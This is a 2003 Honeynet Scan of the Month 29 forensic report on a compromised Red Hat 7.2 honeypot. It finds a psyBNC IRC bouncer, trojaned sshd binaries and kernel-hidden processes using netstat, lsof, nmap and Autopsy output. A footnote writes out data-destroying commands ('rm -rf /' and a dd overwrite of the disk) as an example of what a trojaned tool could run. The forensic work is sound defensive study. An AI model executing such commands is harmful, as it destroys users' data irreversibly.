

Scan Of The Month 29

Jean Christophe <jc_at_securenet *going to* yahoo.fr>

28 September 2003

On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. – *www.honeynet.org* –

This is the report of the 29th "scan of the month" from www.honeynet.org www.honeynet.org. I will respond to the nine questions asked by the authors of this challenge and provide some evidences of the Nationality of the attackers. I have proceeded in two time. First I make a live analysis and then a dead analysis of a backup system made in the Live analysis. After a short presentation of what tools I used in this challenge, I'll continue with my answers about the challenge. I will conclude with the evidence that I have collected to explain who are the attackers.

Warning: Since I am not a good English writer, I want to apologize for all my write mistakes :).

Warning: This work contains explicit material. Read it at your own risk ! Feel free to send flames/critics/greets to me.

1. Tools used in this challenge

The purpose of this part is to briefly explain what to have prepared before the attack begin.

1.1. Live tools

When a system is compromised you must have a set of basic commands statically linked. So you can have a limited trust in the answer given. I say a limited trusted answer because in some case, even if your tools are statically linked, it will give you wrong answers.

This is a non-exhaustive list of interesting commands: `bash`, `ps`, `ls`, `netstat`, `ifconfig`, `perl`, `md5sum`, `cp`, `dd`, `nc`, `lsof`, `kill`, `chkrootkit` (and all derivatives), `tcpdump`, `arp`, ... That must be statically linked when relevant (or use a statically linked executable). Put it on a read-only system easily accessible (for you !) with a minimum risk to erase evidences (like a cdrom that you just mount).

Just use the RedHat tools from the sources (I'll use the `src.rpm` for classical tools) since we will analyze a RH 7.2 system.

1.2. Dead tools

After your system was compromised you want to analyze it to find relevant evidences. You can look at the memory with a copy of the `kcore`, the swap (in our case the `/dev/sda2` device) and, of course, the file system (`/dev/sda1`).

I will use in this case the Sleuth-Kit with it's front-end Autopsy. This tools permit to keep read-only images of file system (badly unmounted or not) and to navigate trough them via a web interface. They are good helper to a lot's of forensic analyzes. I used some tools from the TCT to automatize some log recovery (with the `lazarus` tools). An hexeditor could be useful too in some case (`hexedit` is very suitable).

1.3. Exploit tools

For the final questions, I build the same host as the honeypot (a RH 7.2 using the `anaconda-ks.cfg` given in the root home (hoping that it was not modified by somebody)). Then I ran a nessus scan to check for a maximum of vulnerabilities to verify what I discover from the previous analyzes. I download some stuff from some security sites to test if the fingerprints of the evidences where the sames than the evidences founded.

2. Analyze

First things to do is to check if there is no problem with the files downloaded.

```
[jc@innocent ~]$ md5sum linux-suspended.tar.bz2
d95a8c351e048bd7d5596d6fc49b6d72  linux-suspended.tar.bz2
[jc@innocent ~]$ #this seems good
```

I did not check the integrity of the linux-suspended-md5s.gz, because the md5 was forgotten. Note that this did not give any evidence about the real source of the files (Just that I download them correctly).

Then I make a special partition with a “noexec, nodev” options to stock all the stuff I found. I create the home directory of the new user created for this purpose (jc).

I supposed that you have a “response set” already made, since when a hacker break’in it is too late !

I use an logical assertion to made my investigations. If a command return nothing unusual, then I can’t trust it. But if a command return something strange, then there is a high possibility of something goes wrong. Keeping this in mind, we can now lunch the vmware workstation to respond to the challenge.

2.1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

The first thing very strange when you lunch the VM, is all the messages that we can found at the console.

First we learn that a program named (swapd) uses obsolete (PF_INET,SOCK_PACKET). This sound very strange since this program does not exist under a classical RH 7.2. There is some messages about eth0 entering the promiscuous mode and some messages about the load of the IPX module and Appletalk module. All these messages are enough (for me) to thing that the system is probably compromised. But this could be an artifact from the vmware Workstation. So let’s try to confirm our first idea with other command. The first command tried is:

```
[root@localhost root]# netstat -atun
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp    0      0 192.168.1.79:65336      213.154.118.200:1188   ESTABLISHED
tcp    0      0 0.0.0.0:65436          0.0.0.0:*               LISTEN
tcp    0      0 0.0.0.0:443            0.0.0.0:*               LISTEN
tcp    0      0 127.0.0.1:25           0.0.0.0:*               LISTEN
tcp    0      0 0.0.0.0:3128           0.0.0.0:*               LISTEN
tcp    0      0 0.0.0.0:65336          0.0.0.0:*               LISTEN
tcp    0      0 0.0.0.0:23             0.0.0.0:*               LISTEN
tcp    0      0 0.0.0.0:22             0.0.0.0:*               LISTEN
```

```

tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:3049 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 192.168.1.79:138 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.79:137 0.0.0.0:*
You have new mail in /var/spool/mail/root

```

So we see that there is a live connection to 213.154.118.200 on port 1188. From the previous assertion, we can deduce that somebody is connected to this computer. So we cannot trust the system. First reaction about this is to change the physical link into an emergency network that is not connected to the Internet to avoid future possible trace deletion by the attacker. I suppose since this system is a honeypot that all the network traffic has been logged. But we have not this traces, so we need to work without.

The system is now out of the wild on a protected area. He is still active, so we can make further investigations.

We have new mail for root. look at them.

```

[root@localhost root]# mail
Mail version 8.1 6/6/93. Type ? for help.
"/var/spool/mail/root": 26 messages 26 new
>N 1 root@sbm79.dtc.apu.e Sun Aug 10 16:10 17/587 "Cron <root@sbm79> /us"
N 2 root@sbm79.dtc.apu.e Sun Aug 10 16:20 17/587 "Cron <root@sbm79> /us"
N 3 root@sbm79.dtc.apu.e Sun Aug 10 16:30 17/587 "Cron <root@sbm79> /us"
N 4 root@sbm79.dtc.apu.e Sun Aug 10 16:40 17/587 "Cron <root@sbm79> /us"
N 5 root@sbm79.dtc.apu.e Sun Aug 10 16:50 17/587 "Cron <root@sbm79> /us"
N 6 root@sbm79.dtc.apu.e Sun Aug 10 17:00 17/587 "Cron <root@sbm79> /us"
N 7 root@sbm79.dtc.apu.e Sun Aug 10 17:10 17/587 "Cron <root@sbm79> /us"
N 8 root@sbm79.dtc.apu.e Sun Aug 10 17:20 17/587 "Cron <root@sbm79> /us"
N 9 root@sbm79.dtc.apu.e Sun Aug 10 17:30 17/587 "Cron <root@sbm79> /us"
N 10 root@sbm79.dtc.apu.e Sun Aug 10 17:40 17/587 "Cron <root@sbm79> /us"
N 11 root@sbm79.dtc.apu.e Sun Aug 10 17:50 17/587 "Cron <root@sbm79> /us"
N 12 root@sbm79.dtc.apu.e Sun Aug 10 18:00 17/587 "Cron <root@sbm79> /us"
N 13 root@sbm79.dtc.apu.e Sun Aug 10 18:10 17/587 "Cron <root@sbm79> /us"
N 14 root@sbm79.dtc.apu.e Sun Aug 10 18:20 17/587 "Cron <root@sbm79> /us"
N 15 root@sbm79.dtc.apu.e Sun Aug 10 18:30 17/587 "Cron <root@sbm79> /us"
N 16 root@sbm79.dtc.apu.e Sun Aug 10 18:40 17/587 "Cron <root@sbm79> /us"
N 17 root@sbm79.dtc.apu.e Sun Aug 10 18:50 17/587 "Cron <root@sbm79> /us"
N 18 root@sbm79.dtc.apu.e Sun Aug 10 19:00 17/587 "Cron <root@sbm79> /us"
N 19 root@sbm79.dtc.apu.e Sun Aug 10 19:10 17/587 "Cron <root@sbm79> /us"
N 20 root@sbm79.dtc.apu.e Sun Aug 10 19:20 17/587 "Cron <root@sbm79> /us"
N 21 root@sbm79.dtc.apu.e Sun Aug 10 19:30 17/587 "Cron <root@sbm79> /us"
& t
Message 1:
From root Sun Aug 10 16:10:00 2003
Date: Sun, 10 Aug 2003 16:10:00 -0700
From: root@sbm79.dtc.apu.edu (Cron Daemon)
To: root@sbm79.dtc.apu.edu
Subject: Cron <root@sbm79> /usr/lib/sa/sa1 1 1

```

```
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
```

```
Cannot open /var/log/sa/sa10: No such file or directory
```

&

So we learn here some interesting things. First that after 16:10:00 (locale) there was a big problem, and the `/var/log/sa/sa10` was deleted. We cannot trust the hours but the fact that the log file was deleted *is* suspicious. At this stage I think that it is important to save as much as possible informations. So, to limit the impact of a such backup, I will use the `nc` command trough the network (in a secured area). This command is statically linked and put onto a read-only `ext2fs` floppy¹. I will begin with the `/proc/kcore` file (the memory content and the more vanishing content), then `/dev/sda2` (the swap partition), and conclude with the `/dev/sda1`.

```
[root@localhost root]# mount -t ext2 -o ro /dev/fd0 /mnt/floppy
[root@localhost root]# /mnt/floppy/nc 192.198.1.1 5000 < /proc/kcore
[root@localhost root]# /mnt/floppy/nc 192.198.1.1 5001 < /dev/sda2
[root@localhost root]# /mnt/floppy/nc 192.198.1.1 5002 < /dev/sda1
```

Second is the name of the honeypot `sbm79.dtc.apu.edu`.

The last things that I do to ensure that the system was compromised is the `pstree` command. I could use the static one from a read-only media (statically linked), but I first try the host one, because the system was backup².

```
[root@localhost root]# pstree -p
init(1)-+-(swpd)(3153)
          |-apmd(657)
          |-crond(820)
          |-gpm(778)
          |-identd(677)---identd(685)--identd(686)
          |                                     |-identd(695)
          |                                     '-identd(696)
          |-initd(15119)
          |-kapm-idled(3)
          |-keventd(2)
          |-khubd(92)
          |-kjournald(17)
          |-klogd(3252)
          |-login(893)---bash(901)---pstree(15391)
          |-lsn(25247)
          |-mdrecoveryd(9)
          |-mingetty(894)
          |-mingetty(895)
          |-mingetty(896)
          |-mingetty(899)
          |-mingetty(900)
          |-nmbd(850)
          |-sendmail(759)
```

¹I will explain this in the next answer.

²We can easily imagine a fake `pstree` command that is in fact the command `"rm -rf /" or "dd if=/dev/zero of=/dev/sda bs=4096"`

```
|-smbd(845)
|-smbd\040-D(3137)
|-sshd(699)
|-syslogd(3247)
|-xinetd(732)
|-xopen(25239)
'-xopen(25241)
```

The *-p* option give the associated pid of each processes. There is some very strange process: *xopen* (25241 & 25239), *lsn* (25247), *initd* (15119) (a name too familiar :), and the famous (*swapd*) that uses raw socket! This is a first look. When we look more deeply there is strange things. First the process named *smbd\040-D* (3137) which look like a hidden name (\040 is very strange!). Then the pid of the *klogd*, 3252, is too hight to have been lunch at the boot time, like the pid of the *syslogd*. It is very high and this is quiet strange because in many systems the *syslogd* is lunch at the beginning of the boot (so pid is less than 1000 with a lot's of services). So it's clear that the system is compromised. Perhaps we do not see all the real processes, but due to the logical assertion, we know that at least one attacker was on the system.

Please notice that there is more than one way to do it. I don't pretend to have discovers all the attacker(s) activities, but at this stage I'm sure that the system as been compromised.

2.2. Explain the impact that your actions had on the running system.

All activity on this machine (each command executed) destroy partial information in volatile memory (RAM). So it's very important to save this memory as soon as possible. By the way, the first command only affect the access time of *netstat* (which could be very important !) and possibly could alert the attacker about the root activity which is unusual (we will see why in a next part of this challenge). So the impact could be high if the attacker was really connected on the computer.

Then the *mail* command was executed following by a *type* command (to see what was the first message). This modify the */var/spool/mail/root* access time. But due to all the messages received, we can say that this is not very important.

Next the system was disconnected from the web and switch to a safe Network (in the reality, but in our case it was always one a secure network !). This conducts to the lost of all established connections (visible or not). But we can hope that the save of the memory will result in the discovery of others connections.

A very conservative action is then taken. I mount a "ro" floppy with a ext2fs to avoid erasing more memory by loading a new kernel module (such as smbfs or vfat). Then I use three time the *nc* (statically linked !)command to dump first the memory, which is altered in the ip connection area, then the swap which we could expect to be not to erased by the dump of the memory, and to finish the less vanishing support as the first partition of the hard disk. This is quiet destructive but could be very useful for forensic analyze. But this keep to shutdown immediately the system to protect all the data. Note that in the case you want to prosecute the attackers this could be not sufficient in a trial (Read the F* Law Book :).

The last command *pstree* just give some informations about the current process. It modify the access time, but due to the previous backup, it is not really important.

2.3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

For this purpose I simply use the very interesting *lsof* command. This command what statically linked under the floppy disk. Notice that it is possible that an LKM hide some pid and other stuff even if the use of a statically linked binary (just think about the last version of the adore lkm).

So first, I try to use nmap against the honeypot. The -P0 is to avoid the ping, -sT is for TCP connect and -sU for UDP. The options -sR & -I permits to use the identd daemon and the RPCGrind scan. The -p option give the port range to scan, -n avoid the reverse DNS and -oA give three output (HR, GR and XML³) save in three files (sbm79.nmap, sbm79.gnmap,sbm79.xml). 192.168.1.79 is the host IP of the honeypot. [note that the -sU is in our case not usable since we need more than 6 days to scan the port range ..., so I'll remove it]

```
[jc@innocent ~]$ sudo nmap -P0 -sT -sU -sR -I -p 1-65535 -n 192.168.1.79
-oA sbm79
Password:

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.1.79):
(The 65523 ports scanned but not shown below are in state: closed)
Port      State      Service (RPC)      Owner
21/tcp    open       ftp                 [6KkFHx26QZrvuluLhLRqI+mqvzZqievi]
22/tcp    open       ssh                 [UYh3bq1GxXy7dd3G40TXwbiYLsw2u4D/]
23/tcp    open       telnet              [4Fi3VdHRkFF4nEGjXGoEhRgpdFkcZyGj]
79/tcp    open       finger              [B8Wgt1gWGMPcRbecnu+CT0vgAwkVrDb1]
80/tcp    open       http                [luwd1w5foKqyMVjwssAJj6dvQX9kQa1A]
113/tcp   open       auth                [jXTed1Cny+vv7vjic8Va9ZAKRo+53weW]
139/tcp   open       netbios-ssn         [+v8Eq6Se97vYV8f1I8FJTzCmcbRGxa2v]
443/tcp   open       https               [9muL80j+kYQPfy0QaQZb4tV/fqNqnhiv]
2003/tcp  open       cfingerd            [VjNEMe3d95wcLMmZx2boADVzY4I0rjoV]
3128/tcp  open       squid-http          [F0VZu110hLLJPr6sUafS99phjL997+9g]
65336/tcp open       unknown             [9lybhbKHTG1X+/hoetqQErk61a9W5Q8r]
65436/tcp open       unknown             [zZYIYfwn3yerRXdJ0gr0ZXLtf17RNyHH]
# Nmap run completed at Wed Sep 17 21:39:31 2003 -- 1 IP address (1 host up)
scanned in 29 seconds
```

We could notice that the output of netstat is not the same as the nmap. The port tcp/3128 is hidden to the honeypot, so it's very possible that the netstat command is trojaned or some LKM hide the port.

Then we can list some strange opened port : it's easy to see the high ports: TCP/65436 & 65336. These two are very unusual for a RH 7.2. It is more difficult to define other unusual open ports because we are not sure about the configuration used by the honeypot. For example telnet is not usual (TCP/23) as ftp (TCP/21). Identd is not usual too but could exist. The squid-http (TCP/3128) which is hidden from the netstat output is very strange (looking at the anaconda-ks.cfg it seems that squid was NOT installed !) as the cfingerd (TCP/2003). The finger port (TCP/79) is unusual but, perhaps the configuration is made as-is. So we must look at the process that own these ports.

Let's try the powerful *lsof* from the previous floppy. The -n option avoid the reverse DNS, -P avoid the name of the ports, -R give the parent PID. Then the -i option give only the IPv4/IPv6 protocol

³HR : Human readable, GR : Grep readable, XML :)

```
[root@localhost root]# /mnt/floppy/lsof -n -P -R -i
COMMAND  PID PPID  USER  FD  TYPE DEVICE SIZE NODE NAME
identd   677   1  ident  4u  IPv4   836      TCP *:113 (LISTEN)
identd   685  677  ident  4u  IPv4   836      TCP *:113 (LISTEN)
identd   686  685  ident  4u  IPv4   836      TCP *:113 (LISTEN)
identd   695  685  ident  4u  IPv4   836      TCP *:113 (LISTEN)
identd   696  685  ident  4u  IPv4   836      TCP *:113 (LISTEN)
sshd     699   1  root   3u  IPv4   860      TCP *:22 (LISTEN)
xinetd   732   1  root   3u  IPv4   881      TCP *:79 (LISTEN)
xinetd   732   1  root   4u  IPv4   882      TCP *:23 (LISTEN)
xinetd   732   1  root   5u  IPv4   883      TCP *:21 (LISTEN)
sendmail 759   1  root   4u  IPv4   925      TCP 127.0.0.1:25 (LISTEN)
smbd     845   1  root   9u  IPv4  1015     TCP *:139 (LISTEN)
nmbd     850   1  root   6u  IPv4  1025     UDP *:137
nmbd     850   1  root   7u  IPv4  1026     UDP *:138
nmbd     850   1  root   8u  IPv4  1028     UDP 192.168.1.79:137
nmbd     850   1  root   9u  IPv4  1029     UDP 192.168.1.79:138
smbd    3137   0  root   6u  IPv4  4571     TCP *:2003 (LISTEN)
smbd    3137   0  root  16u  IPv4   976     TCP *:443 (LISTEN)
smbd    3137   0  root  17u  IPv4   977     TCP *:80 (LISTEN)
(swapd) 3153   1  root  16u  IPv4   976     TCP *:443 (LISTEN)
(swapd) 3153   1  root  17u  IPv4   977     TCP *:80 (LISTEN)
initd   15119   1  root   3u  IPv4  15617    TCP *:65336 (LISTEN)
initd   15119   1  root   5u  IPv4  15619    TCP *:65436 (LISTEN)
initd   15119   1  root   6u  IPv4  16157    TCP
192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
xopen   25239   1  root   8u  IPv4   9972     UDP *:3049
xopen   25239   1  root  16u  IPv4   976     TCP *:443 (LISTEN)
xopen   25239   1  root  17u  IPv4   977     TCP *:80 (LISTEN)
xopen   25241   1  root   8u  IPv4  12302    TCP *:3128 (LISTEN)
xopen   25241   1  root  16u  IPv4   976     TCP *:443 (LISTEN)
xopen   25241   1  root  17u  IPv4   977     TCP *:80 (LISTEN)
lsn     25247   1  root  16u  IPv4   976     TCP *:443 (LISTEN)
lsn     25247   1  root  17u  IPv4   977     TCP *:80 (LISTEN)
```

We can see that another port is open (UDP/3049) which look like a classical rootkit bindshell. So we have the following table:

Port	PID	Remarks
TCP/65436	15119	initd process is unknown
TCP/65336	15119	A connection exists here to the 213.154.118.200 host...
UDP/3049	25239	xopen process is unknown. It's owns too the port 443(https) and 80(http) very strange !
TCP/2003	3137	smbd ? this port is unusual for this process. As xopen it owns the port 443 and 80
TCP/3128	25241	one more time xopen, with the strange ability to connect both the ports 443 & 80

But the use of the port 443 & 80 is very strange since httpd is not running and that many processes own this ports. All the others port seems to be normal. It's sound like a system that wait for special command on port 443 & 80 to make some actions (open a port ?). A telnet on this port give nothing.

2.4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

As we seen just before, there is a connection between the honeypot and a machine with the IP 213.154.118.200

to the remote port 1188 and local port 65336. Now we have a lot's of possibility to know what is this service. The most simple, is to telnet this port and see what happens.

```
[jc@innocent ~]$ telnet 192.168.1.79 65336
Trying 192.168.1.79...
Connected to 192.168.1.79.
Escape character is '^]'.
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
```

Looks like a psyBNC system (an IRC proxy/bot) if we refer to the banner. But this could be a fake banner. So try to connect with an irc client. Note that this could be dangerous. So I'll try this in a virtual machine. We get this: (from xchat client)

```
/home/jc/sotm29/xchat.png not found!
```

This seems to confirm the previous assertion. Because I'm quiet paranoid, I use the *lsuf* command to know which executable was run and where it was located. I found that the executable was staying under the `/etc/opt/psybnc/initd` name. Going into this directory, I was able to say that this was a real psyBNC program. (Perhaps modified, will see this later).

So we can conclude that the psyBNC was connected to a machine. Since the remote port was not the 666(7/6) classical irc port, and that the ip given seems to not be owned by a regular IRC server, we can deduce that the remote host is probably an attacker machine (at least a bouncer, and probably a fresh rebooted machine or the irc program was lunch shortly after the boot).

But of course, there is more than one active connection. In our case, we analyze in the same time the networks communications between the honeypot and the outside. We find that one or two other connections seems to be established. There are both from the honeypot to two Undernet IRC server: mesa.az.us.undernet.org with IP 64.62.96.42 or fairfax.va.us.undernet.org with IP 199.184.165.133 using the IRC port 6667. We use the classical *tcpdump* from outside the honeypot. This is an extract of a recorded log: (the connections seems to be PING/PONG messages)

```
10:35:03.786704 192.168.1.79.1150 > 64.62.96.42.ircd: P 55:64(9) ack 329
win 8688 <nop,nop,timestamp 10870371 439663> (DF)
10:35:03.786757 64.62.96.42.ircd > 192.168.1.79.1150: . ack 64 win 5578
<nop,nop,timestamp 451677 10870371> (DF)
10:35:04.296035 64.62.96.42.ircd > 192.168.1.79.1150: P 329:369(40) ack 64
win 5578 <nop,nop,timestamp 451728 10870371> (DF)
10:35:04.297388 192.168.1.79.1150 > 64.62.96.42.ircd: . ack 369 win 8688
<nop,nop,timestamp 10870422 451728> (DF)
#This record was done by launching an irc server in a virtual machine
with the ip addresses of 64.62.96.42 and 199.184.165.133.
```

There seems to be 2 users connected to three channels: #RedCode #Aiabuni and #radioactiv. In this case, the two netstat command (the native and the statically linked one) does not see these connections. So it is clear that a LKM is hidden some TCP connections.

So to resume this question, we have the following table:

IP	port	service
213.154.118.200	1188	connected to the local psyBNC irc bot
64.62.96.42	6667	psyBNC connected to mesa.az.us.undernet.org irc server
199.184.165.133 ?	6667	psyBNC connected to fairfax.va.us.undernet.org irc server

2.5. How many instances of an SSH server were installed and at what times?

For this question, I will use a forensic analyze (in live :). The easiest way (I think) to answer this question is to find a string that can only be found into a sshd binary. I use the strings -a command against a regular sshd binary. Then I choose (randomly) a string. Let's use the following string : "Rhosts with RSA authentication disabled.". The autopsy tools, using the "Keyword Search" give 8 references to this string. These are the results:

Inode	Offset	Program	date of inode modification	comment
18413	38937	/lib/.x/s/xopen	Sun Aug 10 15:32:16 2003	The immutable flag is set
/	39825	?	?	The executable was deleted
/	40044	?	?	The executable was deleted
46584	113579	/usr/[...]/simple/	Mon Jul 14 13:54:40 2003	A directory Entry
47165	114371	/usr/lib/sp0	Sun Aug 10 15:30:54 2003	Infested by a RST.b virus
/	115418	?	?	The executable was deleted
62549	138331	/usr/sbin/sshd	Sun Aug 10 13:33:57 2003	Original version (with Flags)
92030	201212	/usr/bin/smbd -D	Sun Aug 10 13:33:33 2003	Huge binary file

Note that there is some limitation to this tool. It is not able to find strings that are split in non-contiguous block. So to limit the uncertainty, I'll try to make the search with the nearest string : "Rhosts authentication disabled.". The results were the same as above. So we have 4 different sshd installed.

- The original one, "/usr/sbin/sshd", because the md5sum match the given md5sum in the linux-suspended-md5s, which was installed at the beginning of the honeypot life. The modification time is due to a chattr command done by the attacker.
- Then the "/usr/bin/smbd -D", which was probably installed at 13:33:33 (Local time) by the attacker.
- Followed at 15:30:21 (time that the file was last accessed)(Local Time) by "/usr/lib/sp0".
- And "/lib/.x/s/xopen" at 15:32:16 (Local Time) as the latest sshd installed.

The fact is that we could not be sure about the install time, because any modifications (such as the use of the chattr command) could modify the real date of installation.

What about the deleted ones ? The first deleted binary (Offset 39825) is contained in a tar archive that I was partially able to recover. This file named "rootkit.tar" contains a lot's of exploit, stuff to flood, sniff, LKM, . . . This binary was call udhss (which is the reverse name of sshdu). The following reference (Offset 40044) was not identified. And the last (Offset 115418) is very close to the udhss file (untared from the previous rootkit.tar).

2.6. Which instances of the SSH servers from question 5 were run?

I will provide evidences that all instances of the currently installed ssh daemons were lunched.

We can first use the *lsof* again to determine some informations to look for. The problem is doing this is not enough (some process could be hidden or died).

Let's see the output of the *lsof* command: [some cuts are done for more visibility]

```

COMMAND      PID  PPID  USER  FD  TYPE  DEVICE      SIZE      NODE NAME
[ -- snip -- ]
sshd         699    1  root  cwd  DIR    8,1        4096        2 /
sshd         699    1  root  rtd  DIR    8,1        4096        2 /
sshd         699    1  root  txt  REG    8,1       246220      62549
/usr/sbin/sshd
sshd         699    1  root  mem  REG    8,1     485171      44656
/lib/ld-2.2.4.so
sshd         699    1  root  mem  REG    8,1     35424      45479
/lib/libpam.so.0.75
sshd         699    1  root  mem  REG    8,1     65997      44669
/lib/libdl-2.2.4.so
sshd         699    1  root  mem  REG    8,1     59618      76925
/usr/lib/libz.so.1.1.3
sshd         699    1  root  mem  REG    8,1    436784      44674
/lib/libnsl-2.2.4.so
sshd         699    1  root  mem  REG    8,1     47872      44709
/lib/libutil-2.2.4.so
sshd         699    1  root  mem  REG    8,1    918752      45206
/lib/libcrypto.so.0.9.6b
sshd         699    1  root  mem  REG    8,1   5772268      44650
/lib/i686/libc-2.2.4.so
sshd         699    1  root   0u  CHR    1,3                31876 /dev/null
sshd         699    1  root   1u  CHR    1,3                31876 /dev/null
sshd         699    1  root   2u  CHR    1,3                31876 /dev/null
sshd         699    1  root   3u  IPv4   860                TCP *:22 (LISTEN)
[ -- snip -- ]
smbd         3137   0  root  cwd  DIR    8,1        4096        2 /
smbd         3137   0  root  rtd  DIR    8,1        4096        2 /
smbd         3137   0  root  txt  REG    8,1       672527      92030
/usr/bin/smbd -D
smbd         3137   0  root  mem  REG    8,1     485171      44656
/lib/ld-2.2.4.so
smbd         3137   0  root  mem  REG    8,1    436784      44674
/lib/libnsl-2.2.4.so
smbd         3137   0  root  mem  REG    8,1     85115      44667
/lib/libcrypt-2.2.4.so
smbd         3137   0  root  mem  REG    8,1     47872      44709
/lib/libutil-2.2.4.so
smbd         3137   0  root  mem  REG    8,1   5772268      44650
/lib/i686/libc-2.2.4.so
smbd         3137   0  root   0u  CHR    1,3                31876 /dev/null
smbd         3137   0  root   1u  CHR    1,3                31876 /dev/null
smbd         3137   0  root   2u  CHR    1,3                31876 /dev/null
smbd         3137   0  root   3u  REG    8,1          0          3187
/var/run/httpd.mm.800.sem (deleted)
smbd         3137   0  root   4u  REG    8,1          0          45309
/var/log/httpd/ssl_scache.sem (deleted)
smbd         3137   0  root   5u  sock   0,0                3626

```

```

can't identify protocol
smbd      3137      0 root    6u  IPv4    4571          TCP *:2003 (LISTEN)
smbd      3137      0 root    15w REG     8,1 23335716    46935
/var/log/httpd/error_log (deleted)
smbd      3137      0 root    16u  IPv4    976          TCP *:443 (LISTEN)
smbd      3137      0 root    17u  IPv4    977          TCP *:80 (LISTEN)
smbd      3137      0 root    18w  REG     8,1 22795530    46914
/var/log/httpd/ssl_engine_log (deleted)
smbd      3137      0 root    19w  REG     8,1      0    45308
/var/log/httpd/ssl_mutex.800 (deleted)
smbd      3137      0 root    20w  REG     8,1     253    46934
/var/log/httpd/access_log (deleted)
smbd      3137      0 root    21w  REG     8,1     253    46934
/var/log/httpd/access_log (deleted)
smbd      3137      0 root    22w  REG     8,1      0    46916
/var/log/httpd/ssl_request_log (deleted)
smbd      3137      0 root    23w  REG     8,1      0    45308
/var/log/httpd/ssl_mutex.800 (deleted)
[ -- snip -- ]
xopen    25239      1 root    cwd    DIR     8,1     4096    18410 /lib/.x/s
xopen    25239      1 root    rtd    DIR     8,1     4096      2 /
xopen    25239      1 root    txt    REG     8,1  217667    18413 /lib/.x/s/xopen
xopen    25239      1 root    mem    REG     8,1  485171    44656
/lib/ld-2.2.4.so
xopen    25239      1 root    mem    DEL     0,3          163843
/SYSV46532e4f
xopen    25239      1 root    mem    REG     8,1  436784    44674
/lib/libnsl-2.2.4.so
xopen    25239      1 root    mem    REG     8,1   85115    44667
/lib/libcrypt-2.2.4.so
xopen    25239      1 root    mem    REG     8,1   47872    44709
/lib/libutil-2.2.4.so
xopen    25239      1 root    mem    REG     8,1 5772268    44650
/lib/i686/libc-2.2.4.so
xopen    25239      1 root    0u    CHR     3,3          35327 /dev/ttyp3
xopen    25239      1 root    1w    REG     8,1     2442    47152
/lib/.x/install.log
xopen    25239      1 root    2u    CHR     3,3          35327 /dev/ttyp3
xopen    25239      1 root    3u    REG     8,1      0     3187
/var/run/httpd.mm.800.sem (deleted)
xopen    25239      1 root    4u    REG     8,1      0    45309
/var/log/httpd/ssl_scache.sem (deleted)
xopen    25239      1 root    5u    sock    0,0          3626
can't identify protocol
xopen    25239      1 root    6r    FIFO    0,0          9970 pipe
xopen    25239      1 root    7w    FIFO    0,0          9970 pipe
xopen    25239      1 root    8u    IPv4    9972          UDP *:3049
xopen    25239      1 root    15w  REG     8,1 23335716    46935
/var/log/httpd/error_log (deleted)
xopen    25239      1 root    16u  IPv4    976          TCP *:443 (LISTEN)
xopen    25239      1 root    17u  IPv4    977          TCP *:80 (LISTEN)
xopen    25239      1 root    18w  REG     8,1 22795530    46914
/var/log/httpd/ssl_engine_log (deleted)
xopen    25239      1 root    19w  REG     8,1      0    45308

```

```

/var/log/httpd/ssl_mutex.800 (deleted)
xopen 25239 1 root 20w REG 8,1 253 46934
/var/log/httpd/access_log (deleted)
xopen 25239 1 root 21w REG 8,1 253 46934
/var/log/httpd/access_log (deleted)
xopen 25239 1 root 22w REG 8,1 0 46916
/var/log/httpd/ssl_request_log (deleted)
xopen 25239 1 root 23w REG 8,1 0 45308
/var/log/httpd/ssl_mutex.800 (deleted)
xopen 25241 1 root cwd DIR 8,1 4096 2 /
xopen 25241 1 root rtd DIR 8,1 4096 2 /
xopen 25241 1 root txt REG 8,1 217667 18413
/lib/.x/s/xopen
xopen 25241 1 root mem REG 8,1 485171 44656
/lib/ld-2.2.4.so
xopen 25241 1 root mem REG 8,1 436784 44674
/lib/libnsl-2.2.4.so
xopen 25241 1 root mem REG 8,1 85115 44667
/lib/libcrypt-2.2.4.so
xopen 25241 1 root mem REG 8,1 47872 44709
/lib/libutil-2.2.4.so
xopen 25241 1 root mem REG 8,1 5772268 44650
/lib/i686/libc-2.2.4.so
xopen 25241 1 root 0u CHR 1,3 31876 /dev/null
xopen 25241 1 root 1u CHR 1,3 31876 /dev/null
xopen 25241 1 root 2u CHR 1,3 31876 /dev/null
xopen 25241 1 root 3u REG 8,1 0 3187
/var/run/httpd.mm.800.sem (deleted)
xopen 25241 1 root 4u REG 8,1 0 45309
/var/log/httpd/ssl_scache.sem (deleted)
xopen 25241 1 root 5u sock 0,0 3626
can't identify protocol
xopen 25241 1 root 6r FIFO 0,0 9970 pipe
xopen 25241 1 root 7w FIFO 0,0 9970 pipe
xopen 25241 1 root 8u IPv4 12302 TCP *:3128 (LISTEN)
xopen 25241 1 root 15w REG 8,1 23335716 46935
/var/log/httpd/error_log (deleted)
xopen 25241 1 root 16u IPv4 976 TCP *:443 (LISTEN)
xopen 25241 1 root 17u IPv4 977 TCP *:80 (LISTEN)
